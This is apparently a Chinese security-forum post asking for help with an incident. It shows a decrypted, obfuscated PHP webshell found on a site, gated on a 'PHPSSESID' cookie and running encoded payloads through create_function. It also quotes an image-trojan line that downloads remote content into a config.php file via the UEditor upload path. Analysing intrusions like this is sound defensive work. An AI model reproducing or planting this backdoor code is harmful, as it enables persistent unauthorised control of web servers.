<?php
/* 本程序由 Ranyun_JieMi_EnphpV1 3.0算法解密 */
?><?php

/* -- mzphp 混淆加密：7b6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Q4x3X3g2G2M7$3y4Z5K9h3&6S2i4K6u0W2L8X3g2@1i4K6u0r3L8i4A6Q4x3V1k6E0P5Y4m8Z5M7o6t1`. */
error_reporting(E_ALL ^ E_NOTICE);
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header('content-Type: text/html; charset=gb2312');
if (isset($_COOKIE['PHPSSESID']) == !1) {
    exit;
}
$c = 'ch' . 'r';
$b = $c(98) . $c(97) . $c(115) . $c(101) . $c(54) . $c(52) . $c(95) . 'd' . $c(101) . $c(99) . $c(111) . $c(100) . $c(101);
$r = $b('cHJlZ19yZXBsYWNl');
$f = $b('Y3JlYXRlX2Z1bmN0aW9u');
if ($_COOKIE['PHPSSESID'] == $b('c3dhbg==')) {
    $html = $b('JHBhc3N3b3JkPSdzd2FuJzs=') . '@e#html' . $c(118) . $c(97) . $b('bChnemluZmxhdGUo') . $b . '("jVRpb9pAEP0eKf9hY6HYlmi4EqQWWUrUOhSlmOCDFKrKWuwBr7J4Xe9Sjor/3jWQYA617Bdr53jz5u2MIU1Z6qeQsFSQeKyV9cblRQQ4hFRTAhYLiMUHd5HAJyRgLkqRmNAGCiKcchDGeFitVapKlsOBc8JinwucCi2zkBHSrgiXcVrBd0zHaXWsH0oSJRyY8lPX0Z/LCyRPIUAGUtXG9jblkOKxLJtZ22xJKMWl25sy0gI2SbAgQwoN1HZaJqrflBvohcQhm3FkuejupqrvcFIqEYaYQ/3WDyFgIWj7N6XvRU67aZnD2qDdrnaXg6+vFfxi93Et7PTMctltVjqhN69738NOd9mb9nvh4LlrGIqu56pYMDOQUkpeP/56erJILVkMyKSkbCPWKnCRJoxrhaD4lqGj62s0msaByESDOeGCa2ognT6JiVD/4Yc5BOpOvo2Ekez1PVt7o5edtVU+AkvkOwRREX327G+dZ9eXnw2ds6LdVtvseG4RVe7OirdN17Mt136wnEfTLiLX9szzaDmm/dA0LbeYm4V85npe3pXIko9wA8o45D2r/z+GFM4fy1lVMaVs5mcwI5ZAfCi1gEnCJYP7EaGyxoF+6woyQiy0TaSu75zv7O/JJKHZCKpqcYt4BJKjqYRAv5D0IQ4fZU3lNGRGJ2vA324t3+OWE+BU/1eGgUaYctjv9XhtZaXxksQjisXhOhUCPVdttfkBnLH/8BvTkxESbPUX' . $b('IikpKTs7');
    $e = @$f('', $r('/#html/', '', $html));
    $e();
} else {
    $html = '@e#html' . $c(118) . $c(97) . $b('bChnemluZmxhdGUo') . $b . '("c0gtS8zRSK/KzEvLSSxJ1UhKLE41M4lPSU3OT0nVUIl39vf39nSNVg/wCAgOdg32dFGP1dTUtAYA' . $b('IikpKTs7');
    $e = @$f('', $r('/#html/', '', $html));
    $e();
}
exit;

这是小马解密过的，需要cookie才能访问

通过论坛老哥分析是通过ueditor编辑器插件上传的jpg图片马，
8c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4y4o6u0G2P5X3N6^5i4K6u0W2j5$3&6Q4x3V1k6b7N6h3u0D9K9h3y4Q4x3V1k6K6N6r3q4@1K9h3y4Q4x3V1k6#2k6h3c8A6N6r3!0J5i4K6u0r3i4@1f1^5i4@1u0r3i4K6V1&6i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1%4i4@1u0o6i4K6V1$3i4@1f1^5i4@1u0q4i4K6V1I4i4@1f1#2i4K6V1&6i4@1p5^5i4@1f1#2i4K6W2o6i4@1t1H3i4@1f1#2i4K6W2p5i4K6R3H3i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1%4i4@1p5I4i4@1q4q4i4@1f1#2i4@1q4q4i4K6W2q4i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1@1i4@1t1^5i4K6S2m8i4@1f1@1i4@1u0o6i4@1p5H3i4@1f1#2i4K6W2n7i4@1u0q4i4@1f1%4i4K6R3&6i4K6R3%4i4@1f1&6i4@1p5&6i4@1q4o6i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1@1i4@1u0p5i4K6R3$3i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1@1i4@1u0n7i4K6V1$3i4@1f1$3i4K6V1^5i4@1q4r3i4@1f1$3i4K6R3H3i4K6S2q4i4@1f1@1i4@1t1&6i4K6R3^5i4@1f1^5i4@1p5%4i4@1p5K6i4@1f1$3i4K6W2q4i4K6V1H3i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1#2i4K6V1$3i4K6R3K6i4@1g2r3i4@1u0o6i4K6W2r3

<?php file_put_contents('./Addons/Attachment/config.php',file_get_contents('995K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2Z5k6%4W2J5N6q4)9J5k6i4y4H3j5h3y4W2i4K6u0r3M7r3W2U0i4K6u0W2N6s2S2@1i4K6t1%4i4K6t1&6i4K6t1&6i4K6y4n7N6h3&6D9K9h3&6C8i4K6t1^5i4K6t1%4N6r3g2K6N6o6q4Q4x3X3g2H3K9s2m8Q4x3U0N6Q4x3U0W2Q4x3@1k6Q4x3U0k6Y4N6q4)9K6b7R3`.`.

这是图片马的内容，把webshell写入到文件夹了

最主要的一个问题他是怎么解析的这个图片？
怎么执行的？
来个老哥分析下过程

9eaK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6$3q4Q4x3X3g2D9j5h3&6*7L8%4g2K6i4K6u0W2j5$3!0E0i4K6u0r3K9h3x3J5h3s2y4X3P5i4q4%4N6h3R3`. 日志文件和木马都在里面

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课